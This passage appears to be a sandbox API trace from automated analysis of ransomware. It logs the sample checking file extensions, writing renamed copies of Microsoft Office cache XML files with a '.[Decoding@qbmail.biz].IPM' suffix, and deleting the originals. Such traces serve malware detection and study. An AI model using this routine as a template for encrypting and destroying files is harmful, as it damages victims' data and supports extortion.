(lpString1=".pdf", lpString2=".xml") returned -1 [0073.620] lstrlenW (lpString=".xls") returned 4 [0073.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.620] lstrlenW (lpString=".xlsx") returned 5 [0073.620] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0073.620] lstrlenW (lpString=".ppt") returned 4 [0073.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.621] lstrlenW (lpString=".zip") returned 4 [0073.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.621] lstrlenW (lpString=".rar") returned 4 [0073.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.621] lstrlenW (lpString=".bz2") returned 4 [0073.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.621] lstrlenW (lpString=".7z") returned 3 [0073.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.621] lstrlenW (lpString=".dbf") returned 4 [0073.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.621] lstrlenW (lpString=".1cd") returned 4 [0073.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.621] lstrlenW (lpString=".jpg") returned 4 [0073.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.622] lstrlenW (lpString=".doc") returned 4 [0073.622] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.622] lstrlenW (lpString=".docx") returned 5 [0073.622] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0073.622] lstrlenW (lpString=".pdf") returned 4 [0073.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.622] lstrlenW (lpString=".xls") returned 4 [0073.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.622] lstrlenW (lpString=".xlsx") returned 5 [0073.622] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0073.622] lstrlenW (lpString=".ppt") returned 4 [0073.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.622] lstrlenW (lpString=".zip") returned 4 [0073.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.622] lstrlenW (lpString=".rar") returned 4 [0073.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.622] lstrlenW (lpString=".bz2") returned 4 [0073.623] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.623] lstrlenW (lpString=".7z") returned 3 [0073.623] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.623] lstrlenW (lpString=".dbf") returned 4 [0073.623] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.623] lstrlenW (lpString=".1cd") returned 4 [0073.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0073.623] lstrlenW (lpString=".jpg") returned 4 [0073.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.623] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0073.623] lstrlenW (lpString="Setup.xml") returned 9 [0073.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.624] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=9352) returned 1 [0073.624] CloseHandle (hObject=0x1f8) returned 1 [0073.624] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0073.624] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.625] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.625] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.625] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0073.625] GetLastError () returned 0x0 [0073.625] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x2488, lpOverlapped=0x0) returned 1 [0073.651] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x2490, lpOverlapped=0x0) returned 1 [0073.654] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0073.654] WriteFile (in: hFile=0x1c8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.654] SetEndOfFile (hFile=0x1c8) returned 1 [0073.654] CloseHandle (hObject=0x1c8) returned 1 [0073.656] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0073.656] SetEndOfFile (hFile=0x1f8) returned 1 [0073.658] CloseHandle (hObject=0x1f8) returned 1 [0073.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.658] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0073.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.659] lstrlenW (lpString=".doc") returned 4 [0073.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.659] lstrlenW (lpString=".docx") returned 5 [0073.659] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.659] lstrlenW (lpString=".pdf") returned 4 [0073.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.659] lstrlenW (lpString=".xls") returned 4 [0073.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.659] lstrlenW (lpString=".xlsx") returned 5 [0073.659] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.659] lstrlenW (lpString=".ppt") returned 4 [0073.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.660] lstrlenW (lpString=".zip") returned 4 [0073.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.660] lstrlenW (lpString=".rar") returned 4 [0073.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.660] lstrlenW (lpString=".bz2") returned 4 [0073.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.660] lstrlenW (lpString=".7z") returned 3 [0073.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.660] lstrlenW (lpString=".dbf") returned 4 [0073.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.660] lstrlenW (lpString=".1cd") returned 4 [0073.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.660] lstrlenW (lpString=".jpg") returned 4 [0073.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.661] lstrlenW (lpString=".doc") returned 4 [0073.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.661] lstrlenW (lpString=".docx") returned 5 [0073.661] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0073.661] lstrlenW (lpString=".pdf") returned 4 [0073.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.661] lstrlenW (lpString=".xls") returned 4 [0073.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.661] lstrlenW (lpString=".xlsx") returned 5 [0073.661] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0073.661] lstrlenW (lpString=".ppt") returned 4 [0073.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.661] lstrlenW (lpString=".zip") returned 4 [0073.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.661] lstrlenW (lpString=".rar") returned 4 [0073.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.661] lstrlenW (lpString=".bz2") returned 4 [0073.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.661] lstrlenW (lpString=".7z") returned 3 [0073.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.662] lstrlenW (lpString=".dbf") returned 4 [0073.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.662] lstrlenW (lpString=".1cd") returned 4 [0073.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0073.662] lstrlenW (lpString=".jpg") returned 4 [0073.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.662] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0073.662] lstrlenW (lpString="AccessMUI.xml") returned 13 [0074.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.944] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1349) returned 1 [0074.944] CloseHandle (hObject=0x208) returned 1 [0074.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0074.944] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0074.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.945] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0074.945] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0074.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.945] GetLastError () returned 0x0 [0074.945] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x545, lpOverlapped=0x0) returned 1 [0074.980] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x550, lpOverlapped=0x0) returned 1 [0074.982] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0074.982] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xee, lpOverlapped=0x0) returned 1 [0074.982] SetEndOfFile (hFile=0x1ec) returned 1 [0074.983] CloseHandle (hObject=0x1ec) returned 1 [0074.983] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0074.984] SetEndOfFile (hFile=0x208) returned 1 [0074.985] CloseHandle (hObject=0x208) returned 1 [0074.986] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0074.986] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0074.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.986] lstrlenW (lpString=".doc") returned 4 [0074.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.986] lstrlenW (lpString=".docx") returned 5 [0074.987] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0074.987] lstrlenW (lpString=".pdf") returned 4 [0074.987] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.987] lstrlenW (lpString=".xls") returned 4 [0074.987] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.987] lstrlenW (lpString=".xlsx") returned 5 [0074.987] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0074.987] lstrlenW (lpString=".ppt") returned 4 [0074.987] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.987] lstrlenW (lpString=".zip") returned 4 [0074.987] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.987] lstrlenW (lpString=".rar") returned 4 [0074.987] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.987] lstrlenW (lpString=".bz2") returned 4 [0074.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.987] lstrlenW (lpString=".7z") returned 3 [0074.987] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.988] lstrlenW (lpString=".dbf") returned 4 [0074.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.988] lstrlenW (lpString=".1cd") returned 4 [0074.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.988] lstrlenW (lpString=".jpg") returned 4 [0074.988] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.988] lstrlenW (lpString=".doc") returned 4 [0074.988] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.988] lstrlenW (lpString=".docx") returned 5 [0074.988] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0074.988] lstrlenW (lpString=".pdf") returned 4 [0074.988] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.988] lstrlenW (lpString=".xls") returned 4 [0074.988] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.989] lstrlenW (lpString=".xlsx") returned 5 [0074.989] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0074.989] lstrlenW (lpString=".ppt") returned 4 [0074.989] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.989] lstrlenW (lpString=".zip") returned 4 [0074.989] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.989] lstrlenW (lpString=".rar") returned 4 [0074.989] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.989] lstrlenW (lpString=".bz2") returned 4 [0074.989] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.989] lstrlenW (lpString=".7z") returned 3 [0074.989] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.990] lstrlenW (lpString=".dbf") returned 4 [0074.990] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.990] lstrlenW (lpString=".1cd") returned 4 [0074.990] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0074.990] lstrlenW (lpString=".jpg") returned 4 [0074.990] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.990] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.990] lstrlenW (lpString="Office32WW.xml") returned 14 [0074.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.993] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=4274) returned 1 [0074.993] CloseHandle (hObject=0x208) returned 1 [0074.993] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0074.993] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0074.993] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0074.993] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0074.993] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0074.993] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0074.996] GetLastError () returned 0x0 [0074.996] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x10b2, lpOverlapped=0x0) returned 1 [0075.000] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0075.002] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0075.002] WriteFile (in: hFile=0x1ec, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf0, lpOverlapped=0x0) returned 1 [0075.002] SetEndOfFile (hFile=0x1ec) returned 1 [0075.002] CloseHandle (hObject=0x1ec) returned 1 [0075.003] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0075.003] SetEndOfFile (hFile=0x208) returned 1 [0075.005] CloseHandle (hObject=0x208) returned 1 [0075.005] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0075.006] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 